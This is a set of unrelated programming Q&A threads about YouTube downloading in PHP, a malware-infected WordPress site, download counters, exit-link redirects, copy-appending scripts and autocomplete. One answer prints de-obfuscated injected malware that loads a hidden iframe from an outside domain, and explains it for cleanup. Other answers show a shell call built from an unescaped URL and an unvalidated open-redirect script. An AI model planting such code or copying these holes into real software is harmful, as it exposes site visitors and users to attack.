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I am searching for a way to download Youtube videos using PHP. I have searched how to do this for hours but unfortunately all the Google results I find are years old and do not work anymore.
I would appreciate it if someone could explain how to do this, or give a link to an up-to-date article that explains it in detail.
Thanks very much.
The first thing you should do is get a tool like Fiddler and visit a YouTube video page. In Fiddler, you will see all of the files that make up that page, including the FLV itself. Now, you know that the video isn't one of the CSS files, nor is it the image files. You can ignore those. Look for a big file. If you look at the URL, it begins with /videoplayback.
Now, once you've found it, figure out how the browser knew to get that file. Do a search through the sessions (Ctrl+F) and look for "videoplayback". You will see a hit on the first page you went to, like http://www.youtube.com/watch?v=123asdf. If you dig through that file, you'll see a DIV tag with the ID of "watch-player". Within that there is a script tag to setup the flash player, and within that are all of the flash parameters. Within those is the URL to the video.
So now you know how to use your tools to figure out how the browser got to it. How do you duplicate this behavior in PHP?
Do a file_get_contents() on the page that references the video. Ignore everything not in that watch-player div. Parse through the code until you find that variable that contains the URL. From there you will probably have to unescape that URL. Once you have it, you can do a file_get_contents() (or some other download method, depending on what you are trying to do) to get the URL. it is that simple. Your HTML parsing code will be the most complex.
Finally, keep in mind what you are about to do may be illegal. Check the EULA.
Nobody writes manuals/howtos that become outdated every four weeks. The closest you can get is inspecting the actual extraction methods in a contemporary implementation. Quite readable:
http://bitbucket.org/rg3/youtube-dl/raw/2010.08.04/youtube-dl
If you don't want to read through/reimplement it, it's obviously not simple, you could just run it as-is from PHP:
system("youtube-dl '$url'");
last time i was working on fixing one of the brocken chrome extension to download youtube video. I fixed it by altering the script part. (Javascript)
var links = new String();
var downlink = new String();
var has22 = new Boolean();
has22 = false;
var Marked=false;
var FMT_DATA = fmt_url_map;//This is html text that you have to grab. In case of extension it was readily available through:document.getElementsByTagName('script');
var StrSplitter1='%2C', StrSplitter2='%26', StrSplitter3='%3D';
if (FMT_DATA.indexOf(',')>-1) { //Found ,
StrSplitter1=',';
StrSplitter2=(FMT_DATA.indexOf('&')>-1)?'&':'\\u0026';
StrSplitter3='=';
}
var videoURL=new Array();
var FMT_DATA_PACKET=new Array();
var FMT_DATA_PACKET=FMT_DATA.split(StrSplitter1);
for (var i=0;i<FMT_DATA_PACKET.length;i++){
var FMT_DATA_FRAME=FMT_DATA_PACKET[i].split(StrSplitter2);
var FMT_DATA_DUEO=new Array();
for (var j=0;j<FMT_DATA_FRAME.length;j++){
var pair=FMT_DATA_FRAME[j].split(StrSplitter3);
if (pair.length==2) {
FMT_DATA_DUEO[pair[0]]=pair[1];
}
}
var url=(FMT_DATA_DUEO['url'])?FMT_DATA_DUEO['url']:null;
if (url==null) continue;
url=unescape(unescape(url)).replace(/\\\//g,'/').replace(/\\u0026/g,'&');
var itag=(FMT_DATA_DUEO['itag'])?FMT_DATA_DUEO['itag']:null;
var itag=(FMT_DATA_DUEO['itag'])?FMT_DATA_DUEO['itag']:null;
if (itag==null) continue;
var signature=(FMT_DATA_DUEO['sig'])?FMT_DATA_DUEO['sig']:null;
if (signature!=null) {
url=url+"&signature="+signature;
}
if (url.toLowerCase().indexOf('http')==0) { // validate URL
if (itag == '5') {
links += '<span class="yt-uix-button-menu-item" id="v240p">FLV (240p)</span>';
}
if (itag == '18') {
links += '<span class="yt-uix-button-menu-item" id="v360p">MP4 (360p)</span>';
}
if (itag == '35') {
links += '<span class="yt-uix-button-menu-item" id="v480p">FLV (480p)</span>';
}
if (itag == '22') {
links += '<span class="yt-uix-button-menu-item" id="v720p">MP4 HD (720p)</span>';
}
if (itag == '37') {
links += ' <span class="yt-uix-button-menu-item" id="v1080p">MP4 HD (1080p)</span>';
}
if (itag == '38') {
links += '<span class="yt-uix-button-menu-item" id="v4k">MP4 HD (4K)</span>';
}
FavVideo();
videoURL[itag]=url;
console.log(itag);
}
}
You can get separate video link from videoURL[itag] array.
Above logic can be converted to PHP easily
The extension can be downloaded from location http://www.figmentsol.com/chrome/ytdw/
I hope this would help someone. This is working solution (date:06-04-2013)
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My Wordpress website recently became infected with malware and has been blacklisted. I thought I fixed it by updating the site and plugins and removing any code I didn't recognize.
I then used Sucuri Site Checker and it seemed okay, so I submitted a review request with Google. However, Google have said that it still contains malware in the form of malicous code (they referred to it as a code injection).
I am a bit lost for what to do. Is there a way to find the bit of code which Google is finding? The domain is sudorf.co.uk but it has malware so I wouldn't advise going there - no idea what the malware will be doing.
Any help would be greatly appreciated.
EDIT: I found that code a few days ago and deleted it, then I updated all versions etc. But obviously it has come back again. Does anyone have an idea how it might be getting there. My thoughts are that its either from a plugin - which is why I am going to remove all of them. The other is the contact form - but I didn't think this would have allowed them to edit the header.php.
This is pure info. Your malware looks like this when it's de-obfuscated:
function k09() {
var static = 'ajax';
var controller = 'index.php';
var k = document.createElement('iframe');
k.src = 'http://dostojewskij-gesellschaft.de/VD49Jdzr.php';
k.style.position = 'absolute';
k.style.color = '512';
k.style.height = '512px';
k.style.width = '512px';
k.style.left = '1000512';
k.style.top = '1000512';
if (!document.getElementById('k')) {
document.write('<p id=\'k\' class=\'k09\' ></p>');
document.getElementById('k').appendChild(k);
}
}
function SetCookie(cookieName, cookieValue, nDays, path) {
var today = new Date();
var expire = new Date();
if (nDays == null || nDays == 0) nDays = 1;
expire.setTime(today.getTime() + 3600000 * 24 * nDays);
document.cookie = cookieName + "=" + escape(cookieValue) + ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : "");
}
function GetCookie(name) {
var start = document.cookie.indexOf(name + "=");
var len = start + name.length + 1;
if ((!start) &&
(name != document.cookie.substring(0, name.length))) {
return null;
}
if (start == -1) return null;
var end = document.cookie.indexOf(";", len);
if (end == -1) end = document.cookie.length;
return unescape(document.cookie.substring(len, end));
}
if (navigator.cookieEnabled) {
if (GetCookie('visited_uq') == 55) {} else {
SetCookie('visited_uq', '55', '1', '/');
k09();
}
}
http://dostojewskij-gesellschaft.de/VD49Jdzr.php simply outputs "OK".
Why?
My guess is that this is an IP/traffic logger. Maybe for the hackers to check which blogs are most active and then later come back and hack that particular site (no need to waste time on a site with 2 visitors a month). This is good and bad.
The good part is that it seems that they haven't used any of your user database or anything else.
The bad part is that they might very well have downloaded your entire database since they've obviously had executing rights on your server, and might've placed their PHP files all over your server. Your best bet is to start on a fresh WP and copy plugins/themes in one-by-one while manually checking them.
Change all passwords. Even your DB login. Consider everything compromised.
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While($enreg=mysql_fetch_array($res))
{
$link_d.="<font color=\"red\">clic here to download</font></td>"
}
i want to use the href so it leads to download link, also to send the id to a php file so i can get how many times the files have been downloaded !
How can we use href to multiple links !
You can't. A link can only point to one resource.
Instead, what you should do is have your PHP script redirect to the file. The link points at your PHP script with the counter, and then set a Location: header (which automatically sets a 302 status code for redirection) with the value being the URL you want to redirect to.
Also, you should really use htmlspecialchars() around any variable data you use in an HTML context, to ensure you are generating valid HTML.
Ideally you would have some checks to see if it's a human downloading (Web crawlers may trigger it - we will put no-follow in the link which will help though). You could also use a database but that gets more complicated. My preferred way would be to use Google Analytics Events. But here is a simple PHP script that might fulfill your needs without the complexity of the other solutions.
First modify your links to have a tracker script and to urlencode
$link_d.= '<a style="color:red" href="tracker.php?url='.urlencode($enreg[link]).'" target="_blank">click here to download</a>';
}
Then create a script that will record downloads (tracker.php)
<?php
// keep stats in a file - you can change the path to have it be below server root
// or just use a secret name - must be writeable by server
$statsfile = 'stats.txt';
// only do something if there is a url
if(isset($_GET['url'])) {
//decode it
$url = urldecode($_GET['url']);
// Do whatever check you want here to see if it's a valud link - you can add a regex for a URL for example
if(strpos($url, 'http') != -1) {
// load current data into an array
$lines = file($statsfile);
// parse array into something useable by php
$stats = array();
foreach($lines as $line) {
$bits = explode('|', $line);
$stats[(string)$bits[0]] = (int)$bits[1];
}
// see if there is an entry already
if(!isset($stats[$url])) {
// no so let's add it with a count of 1
$stats[$url] = 1;
} else {
// yes let's increment
$stats[$url]++;
}
// get a blank string to write to file
$data = null;
// get our array into some human readabke format
foreach($stats as $url => $count) {
$data .= $url.'|'.$count."\n";
}
// and write to file
file_put_contents($statsfile, $data);
}
// now redirect to file
header('Location: ' . $url);
}
You can't.
Anchor are meant to lead to one ressource.
What you want to do is tipically addressed by using an intermediate script that count the hit and redirect to the ressource.
eg.
Click here to download
redirect.php
// Increment for example, a database :
// UPDATE downloads SET hits = (hits + 1) WHERE id=42
// Get the URI
// SELECT uri FROM downloads WHERE id=42
// Redirect to the URI
// (You may also need to set Content-type header for file downloads)
header( "Location: $uri" );
You may optimize this by passing the uri as a second parameter so that you won't need to fetch it at redirect time.
Click here to download
Another way of collecting this kind of statistics is to use some javascript tools provided by your statistics provider, like Google Analytics or Piwik, adding a listener to the click event.
It is less invasive for your base code but won't let you easily reuse collected data in your site (for example if you want to show a "top download" list).
Create a file with download script for example download.php and route all your downloads through it. Update your counter in this page and use appropriate headers for download.
eg:
url may be download.php?id=1&file=yourfile
in download.php
//get id and file
//database operation to update your count
//headers for download
Due to legal reasons, I want every external hyper link posted on my forum to first link to a You're leaving this website and are being redirected to a website that is not our property... -disclaimer page. Something like http://www.mydomain.com/?leave=FINALURLHERE would do fine, but how do I set up this system?
I can easily make a script that does it for all URLs, but I only want this to happen to external URLs. Can anybody push me towards the right direction?
Presumably you're using some form of BBCode on your forums. You can just edit that to add your leaving page first.
If you're not, then you'll have to resort to some rather messy JavaScript. Something like:
var links = document.getElementsByTagName('a'), l = links.length, i,
domain = location.protocol+"//"+location.hostname+"/";
for( i=0; i<l; i++) {
if( links[i].href.substr(0,domain.length) != domain) {
links[i].href = "/exit.php?target="+encodeURIComponent(links[i].href);
}
}
While working on something non-development related, I noticed something interested while on answers.com. I copied and pasted some text from an answer, and noticed that along with my answer I got some text that I didn't copy. After looking into it some more, it seems that if you copy 8 or more words from anywhere on the site, it adds some text when you paste it. For instance, if I go to a page on the site and copy 8 words or more, and then paste that somewhere, you will get something like:
Insanity is doing the same thing over and over again but expecting
different results.
Read more:
http://wiki.answers.com/Q/Who_first_said_the_definition_of_insanity_is_to_do_the_same_thing_over_and_over_and_expect_different_results#ixzz1xqDl0yUW
My questions is, does anyone know how that is done?! I've looked into the code a bit, but haven't found anything giving me any clues :) Thanks!
P.S. Yes, that page was the one I was viewing when I noticed this :)
function addText() {
var body_element = document.body;
var selection = window.getSelection();
var extraText = "<br /><br />some extra info here";
var copytext = selection + extraText;
var newdiv = document.createElement('div');
newdiv.setAttribute('style','position:absolute;left:-99999px;')
newdiv.innerHTML = copytext;
body_element.appendChild(newdiv);
selection.selectAllChildren(newdiv);
window.setTimeout(function() {
body_element.removeChild(newdiv);
},0);
}
document.oncopy = addText;
Credits: How to add extra info to copied web text
I don't know what is the exact name of this feature, but I need a feature where the user should be given a text box to search things. When they type in this text box, a matching list of values from database should be shown like a drop-down box.
The user can select one of the value and for will got submit.
I know this is already done on Internet anywhere, but what is this feature called?
Where can I find this feature to download and use for free?
Autocomplete from jQuery UI . SAYT opensource from Google.
http://jqueryui.com/demos/autocomplete/
http://code.google.com/p/search-as-you-type/
I found this code somewhere online, very very useful and very fast (tested for 30000 strings), have been using it ever since,
it uses regex
var rx = new RegExp('"([^"]*' + search + '[^"]*)"', 'gi');
var i = 0;
var num;
results = '';
while (result = rx.exec(string)) {
results += "\n" + result[1];
i += 1;
if (i >= 10) break;
}
I've put up the entire code on JSFiddle
NOTE: My code(The HTML part) is extremely messy, was trying too many things at once, just correct it to suit your requirements.
The easiest way to do this is to use the jQuery UI version here.